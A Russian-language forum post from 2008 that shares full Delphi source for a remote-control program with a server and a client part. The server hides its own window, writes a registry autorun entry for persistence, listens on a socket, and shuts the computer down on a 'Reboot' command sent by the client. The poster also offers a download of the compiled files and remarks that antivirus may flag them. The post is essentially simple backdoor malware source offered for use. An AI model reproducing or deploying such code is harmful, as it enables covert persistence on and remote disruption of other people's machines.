
07.11.2008, 01:00
|
|
Новичок
Регистрация: 15.03.2007
Сообщений: 20
Провел на форуме: 133734
Репутация:
19
|
|
Полные исходники:
Нужно Form1 убрать из Avto Create
Сервер
Код:
program Intersec;
uses
Forms,
Windows,
Unit1 in 'Unit1.pas' {Form1};
{$R *.res}
var
WhEvent : THandle;
begin
Application.Initialize;
ShowWindow(Application.Handle,SW_HIDE);
Form1:=TForm1.Create(nil);
Application.Run;
WhEvent:=CreateEvent(nil, true, false, 'et');
while (true) do begin
WaitForSingleObject(WhEvent, 1000);
Application.ProcessMessages;
end;
end.
Код:
unit Unit1;
interface
uses
Windows, Messages, registry, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp;
type
TForm1 = class(TForm)
ServerSocket1: TServerSocket;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.FormCreate(Sender: TObject);
var
RegIni : TRegIniFile;
begin
RegIni:=TRegIniFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);
RegIni.WriteString('RunServices', 'Intersec.exe', 'Application.ExeName');
RegIni.Free;
ServerSocket1.Active:=true;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
ServerSocket1.Active:=False;
end;
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
s: String;
begin
s:= Socket.ReceiveText;
if s='Reboot' then
ExitWindowsEx(EWX_SHUTDOWN, 0); // или ExitWindowsEx(EWX_FORCE, 0); для мгновенного выключения компа
end;
end.
Клинет:
Код:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp, StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Edit1: TEdit;
ClientSocket1: TClientSocket;
Label1: TLabel;
Edit2: TEdit;
Label2: TLabel;
procedure Button1Click(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
begin
ClientSocket1.Address:=Edit1.Text;
ClientSocket1.Active:=True;
ClientSocket1.Socket.SendText(Edit2.Text);
ClientSocket1.Active:=False;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
if ClientSocket1.Active then
ClientSocket1.Active:=False;
end;
end.
Так же можно скачать размер 384.93 KB
В архиве exe`шники так что может сработать антивирус.
Мой NOD32 v3 молчал.
|
|
|